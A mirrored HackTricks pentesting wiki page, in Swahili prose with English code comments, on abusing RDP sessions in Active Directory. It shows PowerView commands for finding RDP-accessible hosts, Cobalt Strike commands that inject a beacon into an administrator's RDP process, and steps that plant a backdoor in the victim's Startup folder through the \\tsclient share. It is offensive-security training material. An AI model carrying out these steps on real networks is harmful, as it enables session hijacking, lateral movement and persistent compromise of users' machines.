mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
72 lines
3.1 KiB
Markdown
72 lines
3.1 KiB
Markdown
# RDP Sessions Abuse
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## RDP Process Injection
|
|
|
|
Ikiwa **kikundi cha nje** kina **ufikiaji wa RDP** kwa **kompyuta** yoyote katika eneo la sasa, **mshambuliaji** anaweza **kudhoofisha kompyuta hiyo na kumsubiri**.
|
|
|
|
Mara tu mtumiaji huyo anapofikia kupitia RDP, **mshambuliaji anaweza kuhamasisha kwenye kikao cha mtumiaji huyo** na kutumia ruhusa zake katika eneo la nje.
|
|
```bash
|
|
# Supposing the group "External Users" has RDP access in the current domain
|
|
## lets find where they could access
|
|
## The easiest way would be with bloodhound, but you could also run:
|
|
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
|
|
#or
|
|
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
|
|
|
|
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
|
|
net logons
|
|
Logged on users at \\localhost:
|
|
EXT\super.admin
|
|
|
|
# With cobalt strike you could just inject a beacon inside of the RDP process
|
|
beacon> ps
|
|
PID PPID Name Arch Session User
|
|
--- ---- ---- ---- ------- -----
|
|
...
|
|
4960 1012 rdpclip.exe x64 3 EXT\super.admin
|
|
|
|
beacon> inject 4960 x64 tcp-local
|
|
## From that beacon you can just run powerview modules interacting with the external domain as that user
|
|
```
|
|
Check **njia nyingine za kuiba vikao kwa kutumia zana nyingine** [**katika ukurasa huu.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
|
|
|
|
## RDPInception
|
|
|
|
Ikiwa mtumiaji anapata **RDP kwenye mashine** ambapo **mshambuliaji** anangojea, mshambuliaji ataweza **kuiingiza beacon katika kikao cha RDP cha mtumiaji** na ikiwa **mhasiriwa ameunganisha diski yake** alipoingia kupitia RDP, **mshambuliaji anaweza kuipata**.
|
|
|
|
Katika kesi hii unaweza tu **kuharibu** **kompyuta** ya **mhasiriwa** kwa kuandika **backdoor** katika **folda ya kuanzisha**.
|
|
```bash
|
|
# Wait til someone logs in:
|
|
net logons
|
|
Logged on users at \\localhost:
|
|
EXT\super.admin
|
|
|
|
# With cobalt strike you could just inject a beacon inside of the RDP process
|
|
beacon> ps
|
|
PID PPID Name Arch Session User
|
|
--- ---- ---- ---- ------- -----
|
|
...
|
|
4960 1012 rdpclip.exe x64 3 EXT\super.admin
|
|
|
|
beacon> inject 4960 x64 tcp-local
|
|
|
|
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
|
|
## \\tsclient\c is the C: drive on the origin machine of the RDP session
|
|
beacon> ls \\tsclient\c
|
|
|
|
Size Type Last Modified Name
|
|
---- ---- ------------- ----
|
|
dir 02/10/2021 04:11:30 $Recycle.Bin
|
|
dir 02/10/2021 03:23:44 Boot
|
|
dir 02/20/2021 10:15:23 Config.Msi
|
|
dir 10/18/2016 01:59:39 Documents and Settings
|
|
[...]
|
|
|
|
# Upload backdoor to startup folder
|
|
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
|
|
beacon> upload C:\Payloads\pivot.exe
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|